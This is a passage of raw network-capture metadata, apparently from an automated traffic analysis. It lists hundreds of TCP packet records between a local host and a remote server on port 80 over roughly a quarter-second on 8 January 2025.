Jan 8, 2025 16:18:16.205311060 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.205404043 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.205419064 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.205532074 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.205648899 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.205761909 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.205882072 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206026077 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206114054 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206233025 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206358910 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206469059 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206588984 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206705093 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206707954 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.206707954 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.206810951 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206813097 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.206929922 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.206999063 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.207046986 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.207046986 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.207092047 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.207161903 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.207278967 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.207288980 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.207396984 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.207472086 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.207519054 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.207631111 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.207750082 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.207797050 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.207897902 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.207967997 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.207984924 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.208102942 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.208147049 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.208240032 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.208331108 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.208380938 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.208476067 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.208565950 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.208667994 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.208684921 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.208802938 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.208888054 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.208919048 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209038019 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209045887 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.209156990 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209270000 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209382057 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.209398031 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209508896 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209603071 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.209620953 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209738016 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209853888 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209968090 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.209992886 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.210087061 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.210123062 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.210221052 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.210319996 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.210370064 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.210464001 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.210516930 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.210555077 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.210669994 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.210772991 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.210793018 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.210906029 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211020947 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211112022 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.211137056 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211215973 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.211261988 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211374044 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211491108 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211527109 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.211620092 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211723089 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211774111 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.211843967 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.211956024 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.211966991 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.212074995 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.212192059 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.212294102 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.212315083 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.212412119 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.212426901 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.212546110 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.212661982 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.212711096 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.212802887 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.212852955 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.212944984 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213010073 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213134050 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213217974 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.213249922 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213347912 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.213373899 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213479996 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213598967 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213619947 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.213712931 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213831902 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.213854074 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.213946104 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214062929 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214180946 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214271069 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.214298010 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214420080 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214504004 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.214530945 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214648962 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214737892 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.214766026 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214883089 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.214958906 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.214999914 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215116024 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215234041 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215271950 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.215369940 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215468884 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215570927 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.215586901 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215673923 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.215698004 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215820074 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215934038 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.215972900 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.216065884 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.216155052 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.216167927 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.216285944 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.216404915 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.216444969 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.216562986 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.216645002 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.216680050 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.216790915 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.216834068 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.216881037 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.216993093 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.217092037 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.217111111 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.217228889 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.217302084 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.217343092 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.217463017 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.217560053 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.217560053 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.217583895 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.217698097 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.217813969 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.217845917 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.217957020 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218039989 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.218050957 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218151093 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.218168974 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218261957 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.218282938 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218396902 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218444109 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.218561888 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218633890 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218755960 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218797922 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.218900919 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218981981 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.218992949 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.219110966 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.219161034 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.219213963 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.219331980 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.219368935 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.219489098 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.219568968 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.219682932 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.219733953 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.219855070 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.219873905 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.219923973 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220035076 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220124006 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.220155954 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220267057 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220388889 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220407009 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.220520020 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220592022 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.220621109 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220737934 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220848083 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.220861912 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.220968008 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221087933 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221096039 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.221214056 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221251965 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.221365929 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221437931 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221555948 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221605062 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.221719027 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221791029 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221826077 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.221936941 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.221982002 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.222021103 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.222140074 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.222217083 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.222263098 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.222376108 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.222493887 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.222538948 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.222649097 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.222728014 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.222734928 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.222851992 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.222932100 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.222964048 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.223083973 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.223193884 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.223257065 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.223309994 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.223361015 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.223475933 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.223543882 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.223655939 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.223668098 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.223781109 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.223815918 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.223922014 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224013090 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224062920 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.224175930 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224252939 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224345922 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.224366903 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224482059 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224502087 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.224615097 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224716902 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224765062 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.224883080 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.224948883 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.225024939 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.225074053 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.225178957 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.225259066 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.225296021 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.225425005 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.225534916 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.225622892 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.225656986 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.225667953 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.225822926 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.225883961 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226003885 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226011038 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.226128101 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226140022 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.226254940 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226355076 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226416111 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.226468086 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226584911 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226663113 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.226701021 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226819038 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.226845980 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.226958990 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227055073 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227102041 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.227215052 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227286100 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227377892 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.227406979 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227521896 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227639914 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227648020 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.227766037 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227819920 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.227870941 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.227988005 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.228101969 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.228115082 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.228221893 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.228313923 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.228334904 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.228456974 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.228466988 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.228581905 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.228691101 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.228743076 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.228862047 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.228923082 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229039907 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229043007 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.229161024 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229197979 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.229314089 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229391098 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229459047 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.229507923 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229625940 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229717970 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.229748964 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229861021 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229978085 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.229991913 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.230103970 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.230118036 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.230232000 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.230326891 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.230429888 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.230452061 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.230561018 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.230678082 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.230745077 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.230797052 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.230819941 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.230931044 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.231030941 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.231142998 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.231187105 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.231300116 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.231302977 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.231414080 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.231498003 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.231576920 CET	49719	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:16.231612921 CET	80	49719	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:16.231729984 CET	80	49719	185.125.51.5	192.168.11.20
